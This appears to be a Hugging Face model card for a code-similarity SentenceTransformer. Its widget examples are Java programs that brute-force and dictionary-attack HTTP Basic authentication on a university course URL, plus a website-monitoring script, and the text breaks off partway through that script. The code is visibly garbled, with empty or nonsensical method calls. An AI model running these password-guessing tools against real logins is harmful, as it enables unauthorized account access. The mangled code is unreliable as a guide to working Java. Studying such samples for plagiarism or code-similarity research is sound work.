buelfhood's picture
Add new SentenceTransformer model
36b424a verified
---
tags:
- sentence-transformers
- sentence-similarity
- feature-extraction
- generated_from_trainer
- dataset_size:33411
- loss:BatchAllTripletLoss
base_model: microsoft/graphcodebert-base
widget:
- source_sentence: "\n\nimport java.util.*;\nimport java.*;\nimport java.awt.*;\n\
import java.net.*;\nimport java.io.*;\nimport java.text.*;\n\npublic class BruteForce\
\ {\n \n \n \n public static String Base64Encode(String s) {\n \
\ byte[] bb = s.getBytes();\n byte[] b = bb;\n char[] table\
\ = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',\n\
\ 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',\n\
\ '0','1','2','3','4','5','6','7','8','9','+','/' };\n if (bb.length\
\ % 3!=0) {\n int x1 = bb.length;\n \n b = new\
\ byte[(x1/3+1)*3];\n int x2 = b.length;\n \n \
\ for(int i=0;i<x1;i++)\n b[i] = bb[i];\n for(int i=x1;i<x2;i++)\n\
\ b[i] = 0;\n }\n \n char[] c = new char[b.length/3*4];\n\
\ \n int i=0, j=0;\n while (i+3<=b.length) {\n \
\ c[j] = table[(b[i] >> 2)];\n c[j+1] = table[(b[i+1] >>\
\ 4) | ((b[i] & 3) << 4)];\n c[j+2] = table[(b[i+2] >> 6) |\
\ ((b[i+1] & 15) << 2)];\n c[j+3] = table[(b[i+2] & 63)];\n \
\ i+=3;\n j+=4;\n }\n \n j = c.length-1;\n\
\ while (c[j]=='A') {\n c[j]='=';\n j--;\n \
\ }\n \n return String.valueOf(c);\n }\n \n \n public\
\ synchronized void getAccumulatedLocalAttempt() {\n attempt = 0;\n \
\ for (int i=0;i<MAXTHREAD;i++) {\n attempt += threads[i].getLocalAttempt();\n\
\ }\n }\n \n \n public synchronized void printStatusReport(String\
\ Attempt, String currprogress,String ovrl, double[] attmArr, int idx) {\n \
\ DecimalFormat fmt = new DecimalFormat();\n fmt.applyPattern(\"0.00\"\
);\n \n System.out.println();\n System.out.println(\" ------------------------\
\ [ CURRENT STATISTICS ] ---------------------------\");\n System.out.println();\n\
\ System.out.println(\" Current connections : \"+curconn);\n \
\ System.out.println(\" Current progress : \"+attempt+ \" of \"+ALLCOMBI+\"\
\ (\"+currprogress+\"%)\");\n System.out.println(\" Overall Attempts rate\
\ : \"+ovrl+\" attempts second (approx.)\");\n System.out.println();\n\
\ System.out.println(\" ---------------------------------------------------------------------------\"\
);\n System.out.println();\n }\n \n \n public class MyTT extends\
\ TimerTask {\n \n public synchronized void run() {\n \
\ \n \n if (count==REPORT_INTERVAL) {\n \
\ \n DecimalFormat fmt = new DecimalFormat();\n \
\ fmt.applyPattern(\"0.00\");\n \n \n \
\ getAccumulatedLocalAttempt();\n double p = (double)attempt/(double)ALLCOMBI*100;\n\
\ \n \n double aps = (double) (attempt\
\ - attm) / REPORT_INTERVAL;\n \n \n \
\ attmArr[attmArrIdx++] = aps;\n \n \n \
\ printStatusReport(String.valueOf(attempt),fmt.format(p),fmt.format(getOverallAttemptPerSec()),attmArr,attmArrIdx);\n\
\ count = 0;\n } else\n \n \
\ if (count==0) {\n getAccumulatedLocalAttempt();\n \
\ attm = attempt;\n count++;\n \
\ } else {\n count++;\n }\n }\n \
\ \n \n public synchronized double getOverallAttemptPerSec()\
\ {\n double val = 0;\n for (int i=0;i<attmArrIdx;i++) {\n\
\ val+= attmArr[i];\n }\n return val / attmArrIdx;\n\
\ }\n \n private int count = 0;\n private int\
\ attm;\n private int attmArrIdx = 0;\n private double[]\
\ attmArr = new double[2*60*60/10]; \n }\n \n \n public synchronized\
\ void interruptAll(int ID) {\n for (int i=0;i<MAXTHREAD;i++) {\n \
\ if ((threads[i].isAlive()) && (i!=ID)) {\n threads[i].interrupt();\n\
\ }\n notifyAll();\n }\n }\n \n \n \n\
\ public synchronized void setSuccess(int ID, String p) {\n passw \
\ = p;\n success = ID;\n notifyAll();\n interruptAll(ID);\n\
\ \n \n end = System.currentTimeMillis();\n }\n \n\
\ \n public synchronized boolean isSuccess() {\n return (success>=0);\n\
\ }\n \n \n \n public synchronized void waitUntilAllTerminated()\
\ {\n while (curconn>0) {\n try {\n wait();\n\
\ } catch (InterruptedException e) {}\n }\n }\n \n \
\ \n \n \n public synchronized int waitUntilOK2Connect() {\n boolean\
\ interruptd= false;\n int idx = -1;\n \n \n \n \
\ \n while (curconn>=MAXCONN) {\n try {\n \
\ wait();\n } catch (InterruptedException e) { interruptd = true;\
\ }\n }\n \n \n \n if (!interruptd) {\n \
\ \n curconn++;\n for (idx=0;idx<MAXCONN;idx++)\n\
\ if (!connused[idx]) {\n connused[idx] = true;\n\
\ break;\n }\n \n notifyAll();\n\
\ }\n \n \n return idx;\n }\n \n \n public\
\ synchronized void decreaseConn(int idx) {\n curconn--;\n connused[idx]\
\ = false;\n \n \n notifyAll();\n }\n \n \n public\
\ class ThCrack extends Thread {\n \n \n public ThCrack(int\
\ threadID, int startidx, int endidx) {\n super(\" Thread #\"+String.valueOf(threadID)+\"\
: \");\n this.ID = threadID;\n this.startidx = startidx;\n\
\ this.endidx = endidx;\n \n setDaemon(true);\n\
\ }\n \n \n public boolean launchRequest(String ID,\
\ int connID,String thePass) throws IOException, InterruptedException {\n \
\ int i ;\n String msg;\n \n \n \
\ URL tryURL = new URL(THEURL);\n \n \n \
\ connections[connID]=(HttpURLConnection) tryURL.openConnection();\n \
\ \n \n connections[connID].setRequestProperty(\"Authorization\"\
,\" \"+Base64Encode(USERNAME+\":\"+thePass));\n \n \n \
\ i = connections[connID].getResponseCode();\n msg = connections[connID].getResponseMessage();\n\
\ connections[connID].disconnect();\n \n \n \
\ if (i==HttpURLConnection.HTTP_OK) {\n \n \
\ System.out.println(ID+\"Trying '\"+thePass+\"' GOTCHA !!! (= \"+String.valueOf()+\"\
-\"+msg+\").\");\n setSuccess(this.ID,thePass);\n \
\ return (true);\n } else {\n \n System.out.println(ID+\"\
Trying '\"+thePass+\"' FAILED (= \"+String.valueOf()+\"-\"+msg+\").\");\n \
\ return (false);\n }\n }\n \n \n \
\ public void rest(int msec) {\n try { sleep(msec); } catch (InterruptedException\
\ e) {}\n }\n \n \n \n public String constructPassword(\
\ int idx) {\n int i = idxLimit.length-2;\n boolean\
\ processed = false;\n \n String result = \"\";\n \
\ while (i>=0) {\n if (idx>=idxLimit[i]) {\n \
\ int nchar = i + 1;\n idx-=idxLimit[i];\n \
\ for (int j=0;j<nchar;j++) {\n x = (idx % NCHAR);\n\
\ result = charset.charAt((int) x) + result;\n \
\ idx /= NCHAR;\n }\n break;\n\
\ }\n i--;\n }\n \n \
\ return result;\n }\n \n \n public String getStartStr()\
\ {\n return constructPassword(this.startidx);\n }\n \
\ \n \n public String getEndStr() {\n return constructPassword(this.endidx);\n\
\ }\n \n \n public void run() {\n i =\
\ startidx;\n boolean keeprunning = true;\n while ((!isSuccess())\
\ && (i<=endidx) && (keeprunning)) {\n \n \n \
\ int idx = waitUntilOK2Connect();\n \n \
\ \n if (idx==-1) {\n \n \
\ break;\n }\n \n try {\n \
\ \n launchRequest(getName(), idx, constructPassword(i));\n\
\ \n decreaseConn(idx);\n \
\ \n localattempt++;\n \n \
\ \n rest(MAXCONN);\n i++;\n \
\ } catch (InterruptedException e) {\n \n \
\ \n keeprunning = false;\n \
\ break;\n } catch (IOException e) {\n \n\
\ \n \n \n \
\ \n decreaseConn(idx);\n }\n \
\ }\n \n \n if (success==this.ID) {\n \
\ waitUntilAllTerminated();\n }\n }\n \n\
\ \n public int getLocalAttempt() {\n return localattempt;\n\
\ }\n \n private int startidx,endidx;\n private int\
\ ID;\n private int localattempt = 0;\n }\n \n \n public void\
\ printProgramHeader(String mode,int nThread) {\n System.out.println();\n\
\ System.out.println(\" ********************* [ BRUTE-FORCE CRACKING SYSTEM\
\ ] *********************\");\n System.out.println();\n System.out.println(\"\
\ URL : \"+THEURL);\n System.out.println(\" Crack Mode : \"\
+mode);\n System.out.println(\" Characters : \"+charset);\n System.out.println(\"\
\ . Char : \"+MINCHAR);\n System.out.println(\" . Char : \"+MAXCHAR);\n\
\ System.out.println(\" # of Thread : \"+nThread);\n System.out.println(\"\
\ Connections : \"+MAXCONN);\n System.out.println(\" All Combi. : \"\
+ALLCOMBI);\n System.out.println();\n System.out.println(\" ***************************************************************************\"\
);\n System.out.println();\n }\n \n \n public void startNaiveCracking()\
\ {\n MAXTHREAD = 1;\n MAXCONN = 1;\n startDistCracking();\n\
\ }\n \n \n public void startDistCracking() {\n int startidx,endidx;\n\
\ int thcount;\n \n \n if (isenhanced) {\n \
\ printProgramHeader(\"ENHANCED BRUTE-FORCE CRACKING ALGORITHM\",MAXTHREAD);\n\
\ } else {\n printProgramHeader(\"NAIVE BRUTE-FORCE CRACKING\
\ ALGORITHM\",MAXTHREAD);\n }\n \n \n i = System.currentTimeMillis();\n\
\ \n idxstart = idxLimit[MINCHAR-1];\n \n \n \
\ \n \n \n \n if (MAXTHREAD>ALLCOMBI - idxstart)\
\ { MAXTHREAD = (int) (ALLCOMBI-idxstart); }\n mult = (ALLCOMBI - idxstart)\
\ / MAXTHREAD;\n \n \n \n for (thcount=0;thcount<MAXTHREAD-1;thcount++)\
\ {\n startidx = thcount*mult + idxstart;\n endidx = (thcount+1)*mult-1\
\ + idxstart;\n threads[thcount] = new ThCrack(thcount, startidx, endidx);\n\
\ System.out.println(threads[thcount].getName()+\" try crack from\
\ '\"+threads[thcount].getStartStr()+\"' '\"+threads[thcount].getEndStr()+\"\
'\");\n }\n \n \n \n \n \n startidx\
\ = (MAXTHREAD-1)*mult + idxstart;\n endidx = ALLCOMBI-1;\n threads[MAXTHREAD-1]\
\ = new ThCrack(MAXTHREAD-1, startidx, endidx);\n System.out.println(threads[MAXTHREAD-1].getName()+\"\
\ try crack from '\"+threads[MAXTHREAD-1].getStartStr()+\"' '\"+threads[MAXTHREAD-1].getEndStr()+\"\
'\");\n \n System.out.println();\n System.out.println(\"\
\ ***************************************************************************\"\
);\n System.out.println();\n \n \n for (int i=0;i<MAXTHREAD;i++)\n\
\ threads[i].print();\n }\n \n \n public BruteForce() {\n\
\ \n if (isenhanced) {\n startDistCracking();\n \
\ } else {\n startNaiveCracking();\n }\n \n \
\ \n reportTimer = new java.util.Timer();\n MyTT tt = new\
\ MyTT();\n reportTimer.schedule(tt,1000,1000);\n \n \n \
\ while ((success==-1) && (attempt<ALLCOMBI)) {\n try { Thread.sleep(100);\
\ getAccumulatedLocalAttempt(); } catch (InterruptedException e) { }\n \
\ }\n \n \n if (success==-1) {\n end = System.currentTimeMillis();\n\
\ }\n \n \n getAccumulatedLocalAttempt();\n \
\ \n double ovAps = tt.getOverallAttemptPerSec();\n DecimalFormat\
\ fmt = new DecimalFormat();\n fmt.applyPattern(\"0.00\");\n \n\
\ \n reportTimer.cancel();\n \n \n try { Thread.sleep(1000);\
\ } catch (InterruptedException e) { }\n \n \n synchronized\
\ (this) {\n if (success>=0) {\n System.out.println();\n\
\ System.out.println(\" ********************* [ URL SUCCESSFULLY\
\ CRACKED !! ] *********************\");\n System.out.println();\n\
\ System.out.println(\" The password is : \"+passw);\n \
\ System.out.println(\" Number of attempts : \"+attempt+\" of \"\
+ALLCOMBI+\" total combinations\");\n System.out.println(\" Attempt\
\ position : \"+fmt.format((double)attempt/(double)ALLCOMBI*100)+\"%\");\n\
\ System.out.println(\" Overal attempt rate : \"+fmt.format(ovAps)+\
\ \" attempts/sec\");\n System.out.println(\" Cracking time \
\ : \"+String.valueOf(((double)end-(double)d)/1000) + \" seconds\");\n \
\ System.out.println(\" Worstcase time estd : \"+fmt.format(1/ovAps*ALLCOMBI)+\
\ \" seconds\");\n System.out.println();\n System.out.println(\"\
\ ***************************************************************************\"\
);\n System.out.println();\n } else {\n \
\ System.out.println();\n System.out.println(\" *********************\
\ [ UNABLE CRACK THE URL !!! ] *********************\");\n System.out.println();\n\
\ System.out.println(\" Number of attempts : \"+attempt+\" of\
\ \"+ALLCOMBI+\" total combinations\");\n System.out.println(\"\
\ Attempt position : \"+fmt.format((double)attempt/(double)ALLCOMBI*100)+\"\
%\");\n System.out.println(\" Overal attempt rate : \"+fmt.format(ovAps)+\
\ \" attempts/sec\");\n System.out.println(\" Cracking time \
\ : \"+String.valueOf(((double)end-(double)d)/1000) + \" seconds\");\n \
\ System.out.println();\n System.out.println(\" ***************************************************************************\"\
);\n System.out.println();\n }\n }\n }\n \
\ \n \n public static void printSyntax() {\n System.out.println();\n\
\ System.out.println(\"Syntax : BruteForce [mode] [URL] [charset] [] []\
\ [username]\");\n System.out.println();\n System.out.println(\"\
\ mode : (opt) 0 - NAIVE Brute force mode\");\n System.out.println(\"\
\ (trying from the first the last combinations)\");\n\
\ System.out.println(\" 1 - ENHANCED Brute force mode\"\
);\n System.out.println(\" (dividing cracking jobs\
\ multiple threads) (default)\");\n System.out.println(\" URL :\
\ (opt) the URL crack \");\n System.out.println(\" \
\ (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)\");\n System.out.println(\"\
\ charset : (optional) the character set used crack.\");\n System.out.println(\"\
\ - (default)\");\n System.out.println(\" \
\ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n System.out.println(\"\
\ -alphanum \");\n System.out.println(\" \
\ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\");\n \
\ System.out.println(\" -alphalow \");\n System.out.println(\"\
\ abcdefghijklmnopqrstuvwxyz\");\n System.out.println(\"\
\ -alphaup \");\n System.out.println(\" \
\ ABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n System.out.println(\" \
\ -number \");\n System.out.println(\" 1234567890\"\
);\n System.out.println(\" [custom] e.g. aAbB123\");\n \
\ System.out.println(\" , : (optional) range of characters applied in\
\ the cracking\");\n System.out.println(\" where\
\ 1 <= <= 10 (default = 1)\");\n System.out.println(\" \
\ <= <= 10 (default = 3)\");\n System.out.println(\"\
\ username : (optional) the username that is used crack\");\n System.out.println();\n\
\ System.out.println(\" NOTE: The optional parameters 'charset','','',\
\ and 'username'\");\n System.out.println(\" have specified altogether\
\ none at all.\");\n System.out.println(\" For example, if [charset]\
\ is specified, then [], [], and\");\n System.out.println(\" [username]\
\ have specified as well. If none of them specified,\");\n System.out.println(\"\
\ default values used.\");\n System.out.println();\n System.out.println(\"\
\ Example of invocation :\");\n System.out.println(\" java BruteForce\
\ \");\n System.out.println(\" java BruteForce 0\");\n System.out.println(\"\
\ java BruteForce 1 http://localhost/tryme.php\");\n System.out.println(\"\
\ java BruteForce 0 http://localhost/tryme.php - 1 3 \");\n System.out.println(\"\
\ java BruteForce 1 http://localhost/tryme.php aAbBcC 1 10 \");\n \
\ System.out.println();\n System.out.println();\n }\n \n \n\
\ \n \n \n \n \n \n public static void countIdxLimit() {\n\
\ idxLimit = new int[MAXCHAR+1];\n \n NCHAR = charset.length();\n\
\ ALLCOMBI = 0;\n for (int i=0;i<=MAXCHAR;i++) {\n if\
\ (i==0) {\n idxLimit[i] = 0;\n } else {\n \
\ idxLimit[i] = idxLimit[i-1] + Math.pow(NCHAR,i);\n }\n \
\ }\n \n ALLCOMBI = idxLimit[idxLimit.length-1];\n }\n \
\ \n \n public static void paramCheck(String[] args) {\n int argc\
\ = args.length;\n \n \n try {\n switch (Integer.valueOf(args[0]).intValue())\
\ {\n case 0: {\n isenhanced = false;\n \
\ } break;\n case 1: {\n isenhanced\
\ = true;\n } break;\n default:\n \
\ System.out.println(\"Syntax error : invalid mode '\"+args[0]+\"'\");\n\
\ printSyntax();\n System.exit(1);\n \
\ }\n } catch (NumberFormatException e) {\n System.out.println(\"\
Syntax error : invalid number '\"+args[0]+\"'\");\n printSyntax();\n\
\ System.exit(1);\n }\n \n if (argc>1) {\n \
\ try {\n \n URL u = new URL(args[1]);\n\
\ \n \n try {\n \
\ HttpURLConnection conn = (HttpURLConnection) u.openConnection();\n \
\ \n switch (conn.getResponseCode()) {\n \
\ case HttpURLConnection.HTTP_ACCEPTED:\n \
\ case HttpURLConnection.HTTP_OK:\n case HttpURLConnection.HTTP_NOT_AUTHORITATIVE:\n\
\ case HttpURLConnection.HTTP_FORBIDDEN:\n \
\ case HttpURLConnection.HTTP_UNAUTHORIZED:\n \
\ break;\n default:\n \
\ \n \n System.out.println(\"\
Unable open connection the URL '\"+args[1]+\"'\");\n \
\ System.exit(1);\n }\n } catch (IOException\
\ e) {\n System.out.println(e);\n System.exit(1);\n\
\ }\n \n THEURL = args[1];\n \
\ } catch (MalformedURLException e) {\n \n \
\ System.out.println(\"Invalid URL '\"+args[1]+\"'\");\n printSyntax();\n\
\ System.exit(1);\n }\n }\n \n \
\ \n if (argc==6) {\n try {\n MINCHAR = Integer.valueOf(args[3]).intValue();\n\
\ } catch (NumberFormatException e) {\n System.out.println(\"\
Invalid range number value '\"+args[3]+\"'\");\n printSyntax();\n\
\ System.exit(1);\n }\n \n try\
\ {\n MAXCHAR = Integer.valueOf(args[4]).intValue();\n \
\ } catch (NumberFormatException e) {\n System.out.println(\"\
Invalid range number value '\"+args[4]+\"'\");\n printSyntax();\n\
\ System.exit(1);\n }\n \n if\
\ ((MINCHAR<1) || (MINCHAR>10)) {\n System.out.println(\"Invalid\
\ range number value '\"+args[3]+\"' (must between 0 and 10)\");\n \
\ printSyntax();\n System.exit(1);\n } else\n \
\ if (MINCHAR>MAXCHAR) {\n System.out.println(\"\
Invalid range number value '\"+args[3]+\"' (must lower than the value)\");\n\
\ printSyntax();\n System.exit(1);\n \
\ }\n \n if (MAXCHAR>10) {\n \
\ System.out.println(\"Invalid range number value '\"+args[4]+\"' (must between\
\ value and 10)\");\n printSyntax();\n System.exit(1);\n\
\ }\n \n if (args[2].toLowerCase().equals(\"\
-\")) {\n charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\
;\n } else\n if (args[2].toLowerCase().equals(\"-alphanum\"\
)) {\n charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\"\
;\n } else\n if (args[2].toLowerCase().equals(\"\
-alphalow\")) {\n charset = \"abcdefghijklmnopqrstuvwxyz\"\
;\n } else\n if (args[2].toLowerCase().equals(\"\
-alphaup\")) {\n charset = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\
;\n } else\n if (args[2].toLowerCase().equals(\"\
-number\")) {\n charset = \"1234567890\";\n \
\ } else {\n charset =\
\ args[2];\n }\n \n USERNAME\
\ = args[5];\n } else\n if ((argc>2) && (argc<6)) {\n \
\ System.out.println(\"Please specify the [charset], [], [], and [username]\
\ altogether none at all\");\n printSyntax();\n \
\ System.exit(1);\n } else\n if ((argc>2) && (argc>6))\
\ {\n System.out.println(\"The number of parameters expected\
\ is not more than 6. \");\n System.out.println(\" have specified\
\ more than 6 parameters.\");\n printSyntax();\n \
\ System.exit(1);\n }\n }\n \n public static\
\ void main (String[] args) {\n \n charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\
;\n MINCHAR = 1;\n MAXCHAR = 3;\n \n \n if\
\ (args.length==0) {\n args = new String[6];\n args[0]\
\ = String.valueOf(1); \n args[1] = THEURL;\n args[2] =\
\ \"-\";\n args[3] = String.valueOf(MINCHAR);\n args[4]\
\ = String.valueOf(MAXCHAR);\n args[5] = USERNAME;\n }\n \
\ \n \n paramCheck(args);\n \n countIdxLimit();\n\
\ \n \n Application = new BruteForce();\n }\n \n \
\ public static BruteForce Application;\n public static String THEURL =\
\ \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n public static boolean\
\ isenhanced; \n public static String passw = \"\"; \n \n public\
\ static final int REPORT_INTERVAL = 10; \n public static int MAXTHREAD\
\ = 50; \n public static int MAXCONN = 50; \n public\
\ static int\t curconn = 0; \n public static int success\
\ = -1; \n \n public static String USERNAME = \"\"; \n public\
\ static int MINCHAR; \n public static int MAXCHAR;\
\ \n public static int ALLCOMBI; \n \n \
\ public static int start ,end; \n \n \n public static\
\ java.util.Timer reportTimer; \n public static HttpURLConnection connections[]\
\ = new HttpURLConnection[MAXCONN]; \n public static boolean\t connused[]\
\ = new boolean[MAXCONN]; \n public ThCrack[] threads \
\ = new ThCrack[MAXTHREAD]; \n public static int \
\ attempt = 0; \n public static int idxLimit; \n public\
\ static String charset; \n public static int NCHAR; \n}\n"
sentences:
- "\nimport java.util.*;\n\npublic class Dictionary {\n\n private String strUsername;\n\
\ private String strURL;\n \n \n public Dictionary(String username,\
\ String url)\n {\n strUsername = username;\n strURL = url;\n\
\ } \n \n public void run() {\n Date dtStart, dtEnd;\n \
\ \n PasswordFile pwd = new PasswordFile(\"/usr/dict/words\");\n \
\ PasswordTest tester;\n int i=1;\n boolean bDone = false;\n\
\ Result res;\n\n dtStart = new Date();\n while(!bDone) {\n\
\ tester = new PasswordTest(strURL, strUsername, pwd.getNextPassword());\n\
\ \n bDone = tester;\n i++;\n if(bDone)\
\ {\n \n res = new Result(strURL, strUsername, pwd.getPassword(),\
\ dtStart, new Date(), i);\n System.out.print(res.toString());\n\
\ }\n else\n {\n \n \
\ }\n \n \n if(pwd.getPassword() == null)\n\
\ {\n System.out.println(\"Exhausted word file without\
\ finding password\");\n bDone = true;\n }\n \
\ } \n \n } \n \n \n public static void main(String[] args)\
\ {\n \n \n \n \n Dictionary dict = new Dictionary(\"\
\", \"http://sec-crack.cs.rmit.edu./SEC/2/\");\n \n dict.run();\n\
\ }\n \n}\n"
- "\n\nimport java.text.*; \nimport java.util.*; \nimport java.net.*; \nimport\
\ java.io.*; \n\npublic class Dictionary { \n\n public int runProcess(String\
\ urlString,String passwd) { \n\n System.out.println(\"Checking password:\
\ ... \" + passwd);\n\n int returnval = 0;\n MyAuthenticator auth\
\ = new MyAuthenticator(passwd);\n Authenticator.setDefault(auth);\n\n \
\ try{\n\n URL yahoo = new URL(urlString); \n BufferedReader\
\ in = new BufferedReader(new InputStreamReader(yahoo.openStream()));\n \
\ String inputLine;\n\n while ((inputLine = in.readLine()) !=\
\ null) {\n\t System.out.println(inputLine);\n\t System.out.println(\"\
password: \" + passwd);\n returnval = 1;\n }\n\n\t \
\ in.print();\n\n }catch(Exception e){ returnval = 0;}\n\n return\
\ returnval;\n }\n\n public static void main (String argv[]) { \n\n \
\ int retval = 0;\n String pwd = \"\";\n String inFile = \"/usr/share/lib/dict/words\"\
;\n BufferedReader in = null;\n String line1 =\"\";\n\n try {\n\
\ \n Dictionary s = new Dictionary(); \n String urlToSearch\
\ = \"http://sec-crack.cs.rmit.edu./SEC/2/\"; \n in = new BufferedReader(new\
\ FileReader(inFile)); \n\n while ((line1=in.readLine()) != null) {\n\
\n retval = 0;\n pwd = line1;\n retval = s.runProcess(urlToSearch,pwd);\
\ \n if (retval > 0) {\n System.exit(0);\n }\n\
\ }\n }catch(Exception e)\n { e.printStackTrace();}\n \
\ \n } \n} \n"
- "\n\n\nimport java.io.*;\nimport java.util.*;\nimport java.*;\nimport java.net.*;\n\
\npublic class WatchDog\n{\n\n static Process p = null;\n static Process qproc\
\ = null;\n\n static BufferedReader bf = null;\n static StringTokenizer tok\
\ = null;\n\n static String Path = null;\n static String str = null;\n static\
\ String urlStr=null;\n static boolean changed = false;\n\n static File indexfile\
\ = new File(\"index.html\");\n static File tmpfile = new File(\"tmpindex.html\"\
);\n static File mdfile = new File(\"md5file.txt\");\n static File tmpmdfile\
\ = new File(\"tmpmd5file.txt\");\n static PrintWriter mailwriter = null;\n\n\
\n public static void main (String[] args) \n {\n\n urlStr = \"http://www.cs.rmit.edu./\"\
;\n\n try\n {\n \n mailwriter = new PrintWriter(new\
\ BufferedWriter(new FileWriter(\"tomail.txt\", false)));\n\n getLatest(urlStr);\n\
\ parseFile(); \n\n mailwriter.read();\n\n if(changed)\n\
\ {\n System.out.println(\"Sending Mail\");\n p\
\ = Runtime.getRuntime().exec(\"./mailscript\");\n p.waitFor();\n\n\
\ }\n else\n System.out.println(\" mail sent\");\n\n\
\ } catch (IOException ioe)\n {\n System.out.println(\"\
IOException\");\n ioe.printStackTrace();\n }\n catch\
\ (InterruptedException intex)\n {\n System.out.println(\"\
Interrupted Exception\");\n intex.printStackTrace();\n }\n\n\
\n }\n\n\n static void getLatest(String urlStr)\n { \n \n URL\
\ url = null;\n \n try\n {\n url = new URL(urlStr);\n\n\
\ } catch (MalformedURLException mfurl)\n {\n System.out.println(\"\
Malformed URL\");\n mfurl.printStackTrace();\n }\n\n try\n\
\ {\n mailwriter.println();\n\n p = Runtime.getRuntime().exec(\"\
/usr//pwd\"); \n p.waitFor();\n bf= new BufferedReader(new InputStreamReader(\n\
\ p.getInputStream()));\n\n Path=bf.readLine();\n\
\n if (indexfile.exists())\n {\n mailwriter.println(\"\
File with name 'index.html' found in directory.\");\n mailwriter.println(\"\
Renaming existing 'index.html' 'tmpindex.html...\");\n p = Runtime.getRuntime().exec(\"\
/usr//mv \"+indexfile+ \" \" + Path+\"/\"+tmpfile);\n p.waitFor();\n\
\ p = Runtime.getRuntime().exec(\"/usr//mv \"+mdfile+ \" \" + Path+\"\
/\"+tmpmdfile);\n mailwriter.println();\n mailwriter.println(\"\
File with name 'md5file.txt' found in directory.\");\n mailwriter.print(\"\
Renaming existing 'md5file.txt' 'tmpmd5file.txt...\");\n\n mailwriter.println(\"\
.\");\n\n mailwriter.println();\n }\n\n mailwriter.println(\"\
Downloading current version of site - \" + urlStr);\n p = Runtime.getRuntime().exec(\"\
/usr/local//wget \"+url);\n p.waitFor();\n if (!tmpfile.exists())\n\
\ {\n mailwriter.println(\"File - \" + urlStr + \"index.html\
\ saved disk for the first time.\");\n }\n\n\n } catch (IOException\
\ ioe)\n {\n System.out.println(\"IOException\");\n \
\ ioe.printStackTrace();\n }\n catch (IndexOutOfBoundsException\
\ iobe)\n {\n System.out.println(\"Index Out Of Bounds Exception\"\
);\n iobe.printStackTrace();\n }\n catch (Exception e)\n\
\ {\n System.out.println(\"Exception\");\n e.printStackTrace();\n\
\ }\n }\n\n static void parseFile()\n {\n\n Vector imgVect =\
\ new Vector();\n\n try\n {\n p = Runtime.getRuntime().exec(\"\
/usr//grep img \" + Path + \"/\"+ indexfile);\n p.waitFor();\n \
\ bf = new BufferedReader(new InputStreamReader(\n p.getInputStream()));\n\
\n while((str=bf.readLine())!=null)\n {\n bf = new\
\ StringTokenizer(str, \"\\\"\", false);\n \n while(bf.hasMoreTokens())\n\
\ {\n str=bf.nextToken();\n if ((str.indexOf(\"\
gif\") > 0) || (str.indexOf(\"jpg\") > 0))\n imgVect.addElement(str);\n\
\ }\n \n }\n\n }catch (IOException ioe)\n \
\ {\n System.out.println(\"IOException\");\n ioe.printStackTrace();\n\
\ }\n catch (Exception e)\n {\n System.out.println(\"\
Exception\");\n e.printStackTrace();\n }\n\n mailwriter.println(\"\
Creating file with md5sums of the webpage and images...\");\n md5Create(imgVect);\n\
\n }\n\n static void md5Create(Vector imgVect)\n {\n String tmpString\
\ = null;\n Vector imgNames = new Vector();\n\n try\n {\n \
\ PrintWriter pr = new PrintWriter(new BufferedWriter(new FileWriter(mdfile,\
\ false)));\n \n p=Runtime.getRuntime().exec(\"/usr/local//md5sum \"+indexfile);\n\
\ p.waitFor();\n bf= new BufferedReader(new InputStreamReader(\n\
\ p.getInputStream()));\n pr.println(bf.readLine());\n\
\ \n for(int i=0; i<imgVect.size();i++)\n {\n imgNames.insertElementAt((getImgNames((String)imgVect.elementAt(i))),\
\ i);\n imgVect.setElementAt((getFullPath((String)imgVect.elementAt(i))),\
\ i);\n\n p=Runtime.getRuntime().exec(\"/usr/local//md5sum \"+(String)imgNames.elementAt(i));\n\
\ p.waitFor();\n bf= new BufferedReader(new InputStreamReader(\n\
\ p.getInputStream()));\n pr.println(bf.readLine());\n\
\ rmImgFile(Path+\"/\"+(String)imgNames.elementAt(i));\n }\n\
\ pr.get();\n\n } catch (IOException ioe)\n {\n \
\ System.out.println(\"IOException\");\n ioe.printStackTrace();\n\
\ }\n catch (InterruptedException intex)\n {\n \
\ System.out.println(\"Interrupted Exception\");\n intex.printStackTrace();\n\
\ }\n\n if (tmpmdfile.exists())\n compVersions((imgVect.size())+1);\n\
\n }\n\n static void compVersions(int numlines)\n {\n\n int tmp = 0;\n\
\ int x = 0;\n String[] md5A = new String[numlines];\n Vector tmpmd5V\
\ = new Vector(); \n \n \
\ \n String[] tmpmd5A = null;\n StringTokenizer stoken\
\ = null;\n String mdImgName = null;\n String mdImgVal = null;\n \
\ String tmpImgName = null;\n String tmpImgVal = null;\n\n try\n\
\ {\n\n bf = new BufferedReader(new FileReader(mdfile));\n\n \
\ while((str = bf.readLine()) != null)\n {\n md5A[tmp]=str;\n\
\ tmp++;\n }\n\n bf = new BufferedReader(new FileReader(tmpmdfile));\n\
\ tmp=0;\n\n while ((str = bf.readLine()) !=null)\n {\n\
\ tmpmd5V.addElement(str);\n tmp++;\n }\n\n \
\ tmpmd5A = (String[])tmpmd5V.toArray(new String[tmpmd5V.size()]); \n\n\
\ if (tmpmd5A[0].compareTo(md5A[0]) != 0)\n {\n mailwriter.println(\"\
---The file index.html has changed.---\");\n mailwriter.println(\"\
-Diff of old and new -\");\n changed=true;\n mailwriter.println();\n\
\ p=Runtime.getRuntime().exec(\"/usr/local//diff index.html tmpindex.html\"\
);\n p.waitFor();\n bf= new BufferedReader(new InputStreamReader(p.getInputStream()));\n\
\n while ((str = bf.readLine()) != null)\n mailwriter.println(str);\n\
\n }\n else\n {\n mailwriter.println(\"The\
\ file index.html hasn't changed.\");\n mailwriter.println();\n \
